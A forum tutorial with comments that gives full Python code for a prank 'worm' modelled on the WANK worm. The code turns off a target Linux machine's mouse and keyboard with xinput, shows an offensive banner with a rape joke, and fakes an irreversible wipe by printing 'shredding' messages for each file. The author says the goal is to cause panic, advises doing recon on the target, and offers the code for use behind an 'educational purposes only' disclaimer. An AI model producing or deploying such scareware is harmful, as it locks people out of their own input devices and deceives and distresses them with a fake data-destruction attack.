News: You've Been Hacked

You've Been Hacked

Greetings null-bytians. Firstly, I would like to apologize for the no images thing. I guess I can't upload them.

If you have watched the documentary titled "In the Realm of the Hackers", the one about two Australian hackers, Electron and Phoenix, you will know that it was a great one, for me anyway. Somewhere in the middle where an unknown hacker hit NASA with a worm dubbed WANK, and it replaced the login screen for the workstation with its logo, and started "removing all your files in the computer". If you haven't seen it, you better download it.

Today I'll try to replicate this worm using python, and this worm only works on linux machines. You can modify it to work on windows using the pyhook library

Step 1: Import Libraries

In the first step we will import three libraries.

import sys, os, time

string = "%%%%%%%%%%" #this will be the string you want to appear during the shredding

path = "." #path of the folder you want to shred

Step 2: Now the System Commands for Disabling Mouse and Keyboard

We disable the mouse and keyboard so that they won't be able to close the code as it is running.

This is the code:

os.system("clear")
os.system("export DISPALY=:0")
#disable mouse and keyboard
os.system("xinput set-int-prop 12 'Device Enabled' 8 0")
os.system("xinput set-int-prop 11 'Device Enabled' 8 0")
dirs = os.listdir(path) #list files and folders in the directory

Now the number between set-int-prop maybe different in your target computer, so as you might have guessed, recon in very important as always, as you will have to type this command to list the devices

linux > xinput --list

to list all the devices. Then you can pick the device you want, and since you will be in the system, you shall have no problem with that.

Step 3: Shredding Time! Code

Now this is the fun part.

LOGO #this is where you will put your logo

time.sleep(05) #wait for some time so that the user will read your logo/intro

#shredding time
for file in dirs:
print
print "Shred " + file
print "Confirm shred",
print "Y\nShredding " + file

for char in string:
sys.stdout.write(char) #so that it doesn't print everything on a new line
sys.stdout.flush()
time.sleep(0.25)

Step 4: Enable the Mouse and Keyboard Again

#enable mouse and keyboard
os.system("xinput set-int-prop 12 'Device Enabled' 8 1")
os.system("xinput set-int-prop 11 'Device Enabled' 8 1")

and thats it. The files will be there not lost, just to cause panic.

Conclusion

This is the whole code

import os, sys, time

string = "%%%%%%%%%%"
#you can specify any directory e.g /root
path = "."

os.system("clear")
os.system("export DISPALY=:0")
#disable mouse and keyboard
os.system("xinput set-int-prop 12 'Device Enabled' 8 0")
os.system("xinput set-int-prop 11 'Device Enabled' 8 0")
dirs = os.listdir(path)
#logo
print " This Changes Nothing"
print " What's a rootkit?"
print " It's a serial rapist with a big d*"
print """ __ __
|
/ _| \ | |
| || | | \| |
| || |_| |\ |
|
| \__|| \|"""
print "Mess with the best, die like the rest"
print
print "You have initiated a directory wipe"
print "This process cannot be inturrupted and cannot be reversed"
print "Atleast I warned you"
time.sleep(05)

#shredding time
for file in dirs:
print
print "Shred " + file
print "Confirm shred",
print "Y\nShredding " + file

for char in string:
sys.stdout.write(char)
sys.stdout.flush()
time.sleep(0.25)
print
#enable mouse and keyboard
os.system("xinput set-int-prop 12 'Device Enabled' 8 1")
os.system("xinput set-int-prop 11 'Device Enabled' 8 1")

What the heck: I will not be responsible for any use of this code. This is for educational purposes only.

Just updated your iPhone? You'll find new features for TV, Messages, News, and Shortcuts, as well as important bug fixes and security patches. Find out what's new and changed on your iPhone with the iOS 17.6 update.

9 Comments

My favourite documentary, without doubt, is 'The KGB, Computer and Me'(1995). Download it from DEFCON Media Library, it's good.

It shows how the systems in 95 were highly vulnerable. And it's funny, comparing to modern scenario.

-The Joker

Yeah! I have that one as well, and its good

Very beautiful but this "rootkit" doesn't remove anything.

Quote "and thats it. The files will be there not lost, just to cause panic."

i think this is more advanced than my knowledge!

This needs more kudos.
Great job!

Really apreciate it guys

I thought I had posted this on How-to. Turns out its on inspiration.

I wouldnt call it rootkit just yet, but malware for now

Black_Erpeton

Share Your Thoughts

  • Hot
  • Latest